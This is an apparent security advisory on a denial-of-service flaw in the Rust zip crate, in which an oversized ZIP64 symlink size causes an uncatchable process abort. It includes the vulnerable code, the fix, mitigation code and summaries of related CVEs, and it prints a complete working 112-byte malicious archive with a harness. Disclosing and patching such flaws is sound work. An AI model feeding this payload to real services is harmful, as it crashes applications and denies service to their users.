Oct 29, 2026·11 min read·3 visits
Versions 1.3.0 to < 9.0.0 of the Rust `zip` crate trust the `uncompressed_size` field in ZIP headers when pre-allocating memory for symbolic link targets during extraction. A 112-byte malicious ZIP archive can request exabytes of memory via `Vec::with_capacity`, triggering an uncatchable OS-level `SIGABRT` that bypasses `std::panic::catch_unwind` and thread isolation. Upgrade to `zip` version 9.0.0 to enforce a 4,096-byte upper bound on symlink targets.
A vulnerability in the Rust `zip` crate (versions 1.3.0 prior to 9.0.0) allows an attacker to trigger an uncatchable process abort via a crafted ZIP archive. When extracting symbolic link entries on Unix or Windows targets, `ZipArchive::extract` passes the untrusted, attacker-controlled `uncompressed_size` header value directly to `Vec::with_capacity` before reading or validating entry payload data. By supplying a 112-byte archive with a ZIP64 extended information field declaring an excessive uncompressed size, an attacker forces the memory allocator to fail and invoke `handle_alloc_error()`, immediately terminating the entire process with `SIGABRT`.
The zip crate (maintained in the zip-rs/zip2 repository) is a widely deployed Rust library for parsing and generating ZIP archives. Applications use ZipArchive::extract to unpack archive contents into a target directory on the local filesystem. This high-level convenience method handles directories, standard files, and symbolic links automatically across supported operating systems.
In versions 1.3.0 through 8.6.0 (including 9.0.0 pre-releases), the symbolic link extraction routine contains a memory allocation flaw classified under CWE-789 (Memory Allocation with Excessive Size Value) and CWE-400 (Uncontrolled Resource Consumption). When encountering an entry flagged as a symbolic link, the extraction logic pre-allocates a heap buffer to hold the symlink target path using Vec::with_capacity. The capacity argument passed to this constructor is derived directly from the entry's declared uncompressed size in the ZIP central directory.
Because the declared uncompressed size is read straight from untrusted archive metadata prior to reading any payload bytes, an attacker can craft a compact archive that claims a multi-exabyte symlink target. When Vec::with_capacity requests an allocation that exceeds available virtual memory, the Rust standard library invokes its infallible allocation failure handler (alloc::alloc::handle_alloc_error).
Unlike a standard Rust panic, an allocation error does not unwind the stack. It immediately terminates the host process by raising SIGABRT. Consequently, multi-threaded web servers, background job processors, or security scanners that extract untrusted ZIP archives in worker threads cannot recover from the failure using std::panic::catch_unwind, resulting in a complete denial of service.
The root cause of CVE-2026-115909 lies in the unconditional trust placed in two unverified fields within the ZIP Central Directory header during execution of ZipArchive::extract in src/read/mod.rs (and ZipStreamReader in src/read/stream.rs). When iterating over archive entries on Unix or Windows targets, the code checks whether the current entry represents a symbolic link before extracting it.
First, ZipFile::is_symlink() inspects the upper 16 bits of the 32-bit external_file_attributes field in the central directory record. If these bits match the Unix file type bitmask S_IFLNK (0o120000 or 0xA000), the library treats the entry as a symbolic link. Second, ZipFile::size() retrieves the uncompressed_size value stored in the header. While standard ZIP headers limit this field to 32 bits (4 GiB), including a ZIP64 Extended Information Extra Field (Header ID 0x0001) widens uncompressed_size to a full 64-bit unsigned integer (u64).
Neither value is cross-checked against the compressed payload size, the physical length of the archive file on disk, or platform-specific path length limits before buffer allocation occurs. In the vulnerable code path, file.size() as usize is passed directly to Vec::with_capacity. In Rust, Vec::with_capacity is designed as an infallible allocation API; it assumes sufficient memory exists and provides no Result return type for callers to handle allocator refusal gracefully.
The exact behavior of the failure depends on the numerical band of the declared size on 64-bit architectures:
0x8000_0000_0000_0000): Values exceeding isize::MAX trip a bounds check inside Rust's RawVec implementation before reaching the system allocator. This raises a standard, unwindable panic (capacity overflow) that applications can catch via std::panic::catch_unwind.0x4000_0000_0000_0000): A value of 4.61 exabytes passes the isize::MAX sanity check and is forwarded to the OS memory allocator (malloc or mmap). Because 4.61 exabytes exceeds the 47-bit or 57-bit user-space virtual address limit on x86_64 and AArch64 platforms, the OS kernel immediately refuses the virtual address space reservation. The Rust runtime catches this null pointer return and calls alloc::alloc::handle_alloc_error(), which aborts the process.ulimit -v or cgroup memory limits, even standard 32-bit sizes (e.g., 2 GiB) without ZIP64 extensions will exceed the permitted address space and trigger the same uncatchable abort.Prior to version 9.0.0, both ZipArchive::extract_internal in src/read/mod.rs and ZipStreamReader in src/read/stream.rs contained identical vulnerable patterns when handling symbolic links. When file.is_symlink() evaluated to true, the library immediately allocated a buffer matching the entry's declared uncompressed size and read the stream to completion.
// Vulnerable implementation in src/read/mod.rs (prior to 9.0.0)
#[cfg(any(unix, windows))]
if file.is_symlink() {
// BUG: file.size() is controlled by the ZIP central directory / ZIP64 header.
// If file.size() is e.g. 2^62, Vec::with_capacity aborts the process immediately.
let mut target = Vec::with_capacity(file.size() as usize);
file.read_to_end(&mut target)?;
drop(file);
make_symlink(&outpath, &target, &self.shared.files)?;
continue;
}In commit a543a1fc8f3f3eef36f27bb137230295284cdb98 (Pull Request #984), the maintainers addressed the vulnerability by recognizing the semantic domain of a symbolic link target. Because a symlink target is a filesystem path, it cannot legitimately exceed operating system path length boundaries (such as PATH_MAX, which is 4,096 bytes on Linux). The patch defines a crate-wide constant MAX_SYMLINK_TARGET_LEN set to 4096 bytes and validates file.size() against this threshold before performing any heap allocation.
--- a/src/read/mod.rs
+++ b/src/read/mod.rs
@@ -15,6 +15,14 @@ use std::io::{self, Read, Seek, Write};
use std::path::Path;
use std::sync::OnceLock;
+/// Upper bound on the uncompressed size of a symlink entry.
+///
+/// A symlink target is a filesystem path, so its length is bounded by the
+/// platform (`PATH_MAX` is 4096 on Linux) no matter what the archive says. The
+/// uncompressed size stored in the central directory is attacker-controlled,
+/// so entries above this bound are rejected rather than pre-allocated.
+pub(crate) const MAX_SYMLINK_TARGET_LEN: u64 = 4096;
+
mod config;
pub use config::{ArchiveOffset, Config};
@@ -395,7 +403,22 @@ impl<R: Read + Seek> ZipArchive<R> {
#[cfg(any(unix, windows))]
if file.is_symlink() {
- let mut target = Vec::with_capacity(file.size() as usize);
+ let declared_len = file.size();
+ // Validate untrusted size before allocation
+ if declared_len > MAX_SYMLINK_TARGET_LEN {
+ return Err(invalid!(
+ "symlink target declares {} bytes, more than the {} byte limit",
+ declared_len,
+ MAX_SYMLINK_TARGET_LEN
+ ));
+ }
+
+ let mut target = Vec::with_capacity(declared_len as usize);
file.read_to_end(&mut target)?;
drop(file);
make_symlink(&outpath, &target, &self.shared.files)?;The identical validation logic was applied to ZipStreamReader in src/read/stream.rs. Evaluating the completeness of this fix reveals one subtle consideration: while Vec::with_capacity(declared_len as usize) is now strictly bounded to at most 4,096 bytes, the subsequent call to file.read_to_end(&mut target)? reads from the decompressor stream until EOF.
In zip crate's ZipFile reader implementation, standard reads are bounded by the stream's uncompressed_size limit or CRC validation, preventing an attacker from declaring a 0-byte size in the header while streaming gigabytes of deflate-compressed zeros into target. However, note that in src/read/stream.rs, the code comment explicitly states // Not used because we don't have the external attributes inside if file.is_symlink(), indicating the streaming reader path cannot currently enter that branch during normal operation unless attributes are populated, though hardening it prevents regressions.
Exploiting CVE-2026-115909 requires no authentication or complex interaction; the attacker only needs to supply a crafted ZIP file to an application that invokes ZipArchive::extract. Because the allocation happens before any entry payload data is read or decompressed, the archive does not need to contain actual compressed data (unlike a traditional ZIP bomb). A valid trigger archive can be constructed in exactly 112 bytes.
To build the 112-byte exploit payload, an attacker constructs a Local File Header, a Central Directory Header, and an End of Central Directory (EOCD) record for a single 1-byte filename ("a") using compression method 0 (Stored) and zero bytes of actual file data:
compressed_size and uncompressed_size fields to the ZIP64 sentinel value 0xFFFFFFFF.version_made_by to 0x031E (Unix) and external_file_attributes to 0xA1FF0000, which encodes S_IFLNK | 0o777 in the upper 16 bits.0x0001) is appended to the entry, setting the 64-bit uncompressed_size to 0x4000000000000000 ($2^{62}$ bytes, or 4,611,686,018,427,387,904 bytes) and compressed_size to 0.Below is the complete 112-byte proof-of-concept archive encoded in Base64, along with a minimal Rust harness demonstrating the uncatchable abort:
// Base64 representation of the 112-byte malicious ZIP archive:
// UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
// //8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==
use std::io::Cursor;
use zip::ZipArchive;
fn main() {
// Decode the 112-byte payload or build it in memory
let payload: &[u8] = &[
0x50, 0x4b, 0x03, 0x04, 0x2d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0x61, 0x50, 0x4b, 0x01, 0x02, 0x1e, 0x03, 0x2d, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff,
0xff, 0xff, 0xff, 0x01, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xff, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x61, 0x01, 0x00,
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x50, 0x4b,
0x05, 0x06, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x3b, 0x00,
0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00
];
let outdir = std::env::temp_dir().join("zip_cve_2026_115909");
std::fs::create_dir_all(&outdir).unwrap();
// Even wrapping extraction in catch_unwind cannot prevent process death
let res = std::panic::catch_unwind(|| {
let mut archive = ZipArchive::new(Cursor::new(payload)).unwrap();
let _ = archive.extract(&outdir);
});
// This line is never reached
println!("Extraction completed: {:?}", res);
}When executed against any version of zip between 1.3.0 and 8.6.0 on a Linux or Windows host, the process immediately terminates before printing the completion message:
memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)> [!NOTE]
> The upstream regression test (tests/extract_symlink.rs) verifies this behavior across three distinct malicious boundary values: 1u64 << 40 (1 TiB), 1u64 << 62 (4 EiB), and u64::MAX, ensuring that all three return a recoverable ZipError::InvalidArchive error rather than panicking or aborting.
The primary security impact of CVE-2026-115909 is a high-severity Denial of Service (DoS), reflected by its CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The vulnerability does not permit out-of-bounds memory reads, buffer overflows, or arbitrary code execution because Rust's allocator safely intercepts the oversized reservation request before any memory corruption can occur. Confidentiality and integrity of host data remain unaffected.
However, the availability impact is acute for Rust applications due to the mechanics of handle_alloc_error(). In the Rust ecosystem, developers frequently rely on thread isolation and std::panic::catch_unwind to build fault-tolerant services where a malformed input crashes only the current request handler or worker task. Because an out-of-memory abort bypasses stack unwinding entirely and delivers SIGABRT to the process group, a single 112-byte HTTP upload can terminate an entire multi-tenant web server or microservice instance.
Furthermore, if an attacker tunes the declared uncompressed_size to a value just below the host's physical and swap memory limits (for example, several gigabytes instead of 4 exabytes) while supplying matching compressed payload streams, the application will successfully reserve the heap capacity and populate the pages during read_to_end. This secondary failure mode causes rapid physical memory exhaustion and can trigger the operating system's Out-Of-Memory (OOM) killer.
The definitive remediation is to upgrade the zip crate dependency to version 9.0.0 or later. Version 9.0.0 enforces the MAX_SYMLINK_TARGET_LEN (4,096 bytes) check prior to memory allocation in both ZipArchive::extract and ZipStreamReader, converting the fatal process abort into a standard Result::Err(ZipError::InvalidArchive) return value.
Update Cargo.toml to require the patched release and refresh the lockfile:
[dependencies]
zip = ">= 9.0.0"For projects that cannot immediately migrate to major version 9.0.0 due to breaking API changes across major versions, developers can implement a pre-extraction validation pass before calling archive.extract(). By iterating through the central directory entries and inspecting metadata first, applications can reject archives containing oversized symlink declarations before reaching the vulnerable allocation path:
use std::io::{Read, Seek};
use std::path::Path;
use zip::result::{ZipError, ZipResult};
use zip::ZipArchive;
const MAX_SYMLINK_TARGET_LEN: u64 = 4096;
pub fn safe_extract<R: Read + Seek, P: AsRef<Path>>(
archive: &mut ZipArchive<R>,
directory: P,
) -> ZipResult<()> {
for i in 0..archive.len() {
let file = archive.by_index_raw(i)?;
if file.is_symlink() && file.size() > MAX_SYMLINK_TARGET_LEN {
return Err(ZipError::InvalidArchive(
"symlink target exceeds 4096 byte limit".into(),
));
}
}
archive.extract(directory)
}> [!NOTE]
> Using by_index_raw(i) during the pre-validation pass avoids initializing the decompression stream for each entry, making the pre-check fast even on archives with thousands of entries.
Finally, architecture teams designing services that parse untrusted archive formats (ZIP, TAR, 7z) should execute extraction routines inside isolated child processes (e.g., via std::process::Command with strict cgroup memory limits) rather than in-process async tasks or threads. Subprocess isolation guarantees that an unexpected allocator abort or OOM termination does not take down the main application supervisor.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
zip (Rust crate) zip-rs | >= 1.3.0, < 9.0.0 | 9.0.0 |
| Attribute | Detail |
|---|---|
| Vulnerability Class | CWE-789 (Memory Allocation with Excessive Size Value) / CWE-400 |
| Affected Component | Rust `zip` crate (`ZipArchive::extract` in `src/read/mod.rs`) |
| Affected Versions | >= 1.3.0, < 9.0.0 |
| Patched Version | 9.0.0 |
| CVSS v3.1 Score | 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| EPSS Score | 0.461% (39.91th percentile) |
| Primary Impact | Uncatchable Process Abort (`SIGABRT`) / Denial of Service |
| Exploit Status | Public PoC Available (112-byte ZIP64 archive) |
The product allocates memory based on an untrusted, attacker-controlled size value without validating or constraining the size, causing process crashes or excessive memory reservation.
CVE-2026-62290 is an incorrect authorization vulnerability (CWE-863) in cert-manager that allows low-privileged Kubernetes namespace tenants to bypass ClusterIssuer DNS01 solver policies and exfiltrate cluster-scoped DNS credentials. By directly creating standalone ACME Challenge custom resources rather than going through the standard Certificate and Order workflow, an attacker can specify arbitrary solver provider configurations while referencing a privileged ClusterIssuer. The cert-manager ACME challenge controller reconciles these directly instantiated Challenge resources without verifying their parentage or validating the user-supplied solver parameters against the referenced ClusterIssuer's selector policies.
CVE-2026-118662 (also tracked as GHSA-8g5g-mxqh-grgj) is an improper access control and path canonicalization vulnerability in the Vite frontend build and development tool. In version 6.4.4, the Vite development server fails to strip transform and loader query parameters before evaluating file paths against the `server.fs.deny` configuration directive. When the development server is exposed to a network and sensitive files located within `server.fs.allow` match patterns in `server.fs.deny`, an unauthenticated remote attacker can bypass file access restrictions by appending specific query strings such as `?raw` or `?inline` to HTTP requests. This allows arbitrary retrieval of restricted files, including environment configuration files and private cryptographic keys.
CVE-2026-115906 is a cryptographic authentication bypass vulnerability in the Rust zip library (zip-rs/zip2) affecting versions from 0.6.0 prior to 9.0.0. In the WinZip AE-x AES decryption reader implementation within src/aes.rs, the HMAC-SHA1-80 authentication tag is only validated when the internal byte counter (data_remaining) decrements to exactly zero. Because this counter is initialized from the unauthenticated compressed_size header field, an attacker can craft a ZIP archive where the entry stream hits premature physical end-of-file (EOF) before data_remaining reaches zero, causing the reader to return Ok(0) and skip HMAC verification entirely.
CVE-2026-115908 (GHSA-hjqx-j4rw-g7xv) is a high-severity path traversal and link-following vulnerability in the Rust zip library (zip-rs/zip2) affecting versions >= 7.2.0 and < 9.0.0. Because ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir validate symbolic link targets solely via lexical prefix comparisons rather than resolving intermediate filesystem links, an attacker who knows or can guess the absolute extraction path can construct multi-hop symlink chains that escape the destination directory, enabling arbitrary file creation and overwrite with the privileges of the extracting process.
CVE-2026-115907 is an uncontrolled resource consumption vulnerability in the Rust zip crate (versions 5.1.0 through 8.6.0, and 9.0.0 pre-releases) when compiled with the optional legacy-zip feature flag. The vulnerability resides in the legacy decompression decoders—Shrink, Reduce, and Implode—which directly pass an archive-declared 64-bit uncompressed size from a ZIP64 extended information extra field to Vec::reserve() before validating the compressed data stream. By supplying a malformed ZIP archive with a declared uncompressed size exceeding isize::MAX (such as u64::MAX), an unauthenticated attacker can trigger an unhandled capacity overflow panic in the Rust standard library allocator, terminating the calling thread or aborting the entire process.
Twisted versions up to and including 26.4.0 are vulnerable to an unauthenticated remote denial-of-service attack via the HTTP/2 Rapid Reset technique (a variant of CVE-2023-44487). The HTTP/2 connection handler in twisted.web processes pipelined HEADERS and RST_STREAM frames sequentially within the same TCP segment. Because the request dispatch and synchronous rendering occur upon receiving the StreamEnded event before the subsequent StreamReset event is evaluated, an attacker can force the server to expend CPU cycles rendering responses while immediately evicting stream state to bypass concurrent stream limits.